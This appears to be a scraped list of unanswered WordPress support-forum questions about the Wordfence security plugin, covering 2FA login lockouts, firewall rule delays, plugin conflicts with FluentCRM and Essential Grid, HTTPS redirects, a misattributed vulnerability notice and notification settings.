MFA Set Up but not allowing code to be entered
Replies: 0
Hi,
I have enabled MFA on our website and have it set up on a Authenticator on my phone for login. However, on logging in it is saying:
“2FA is required to be active on your account. Please contact the site administrator”
There is no option to add in the MFA code.
As I am the site admin, I am not sure what to do here. My web host deactivated WF so I could login and sort it out… Thanks
Delay on firewall rules
Replies: 0
I have a question about the free version of Wordfence. Wordfence states: “The free version includes a 30 day delay on firewall rules and malware detection.” Does this mean that when I include IP-adresses to the whitelist in the Firewall, I have to wait 30 days before this will actually work?

Issue with FluentCRM Webhook Integration and Wordfence Compatibility
Replies: 0
Hello,
We are using the FluentCRM plugin on our website and integrating it with WP Forms using the following method: Incoming Webhooks
FluentCRM Webhook Integration Documentation
However, this method does not work at all when the Wordfence plugin is enabled. When Wordfence is deactivated, the mentioned method works perfectly fine. It seems that Wordfence is blocking this integration.
The question is: What is the cause of this issue, and what is the appropriate solution to fix it?
Thank you!

Issue with Secure Connection for “aerogcs.com”
Replies: 0
Hello,
I am experiencing an issue with my WordPress website.
- When I directly paste the URL
https://aerogcs.com
in the browser, the website opens correctly and functions as expected. - However, if I type only
aerogcs.com
(withouthttps://
), I encounter an error message stating:
“aerogcs.com
doesn’t support a secure connection.” https://aerogcs.com/wp-content/uploads/2025/01/image-2.jpg
I have an SSL certificate installed, and the secure URL (https://aerogcs.com
) works perfectly. It seems the issue might be related to how the domain is redirecting or configured.
Could you please assist in identifying and resolving this issue as soon as possible?
Thank you for your support.
Best regards,
Essential Grid blocked by Wordfence

Hi community,
I’m using Essential Grid on my website but Wordfence blocks the Grids. If I login with admin-user I can see the grids in preview and live page. Also everything works fine if I deactivate the Wordfence Plugin. Is there any setting I can make so Wordfence won’t block the grids?

Vulnerability Link going to ‘wrong plugin’
Replies: 0
Hi+
I have received a vulnerability notice from you regarding the Custom Product Tabs for WooCommerce Plugin. You have that notice on your site here:
So, I followed your link to that plugin and went to their support and found this thread:
According to that plugin author, “The plugin you are referring to is from a different vendor, although the name is indeed similar to ours.”
I have reached out to that plugin author (in that same thread) to ask you to link to the correct vulnerable plugin.
I am, also, reaching out to you so that you are aware. Please advise on which specific plugin is the vulnerable one since that author still has not put out an update to fix the issue.
Thank you.
Users Locked Out – 2FA
Replies: 0
I want to use Wordfence Login Security to force users to use 2FA on our site. I install the plugin and set it up for myself with the QR code in the backend, etc. The problem is that when other users try to sign on the site, they are met with with a message that says:
LOGIN BLOCKED: 2FA is required to be active on your account. Please contact the site administrator.
How do new users set up 2FA? Other plugins I have used for this will typically walk users through the process when they login if they don’t have 2FA set up. I don’t understand how users set up 2FA if they are just met with a “LOGIN BLOCKED” message.
Can someone tell me how to do this? Thanks!
WF Export Token
Replies: 0
Hi! I recently set up a new WordPress website and added the Wordfence plugin to it. Previously, I had successfully configured Wordfence settings on another website, and I want to use those settings on my new site. However, the problem is that my old website is no longer live, and I only have a full backup of the old site. Is it possible to locate the export token within the files of my old site and use that token to apply the settings on my new site? Thank you.

I had updated Woocommerce manually from ftp to 9.4.3 on Monday. Since it told me about the update to 9.5.2, I updated from the backend to the new version. Did I do well? Could there be some problem? I later ran a High Sensitivity scan and it found nothing.
Thanks so much for the support.

Reducing email notifications for WordPress actions
Replies: 0
Hi… I am getting excessive email notifications for things like ‘”Auto Draft” was updated’.
I could swear I have seen a settings page in WordFence that allowed me to select/deselect which activities should be notified. But now I cannot find it – despite hours searching. Please can SKS point me to it? (I am using the free version of WordFence.)
Also, these emails are being sent to the WordPress site email administration address. I have set a different address in General Wordfence Options but that does not seem to have any effect.
Advice please.

I don’t even really know how to explain this issue – basically my entire wordfence dashboard has been converted to some other language I can’t even identify.
It seems to be affecting all the body text (not headings). Please see image in link for an example.
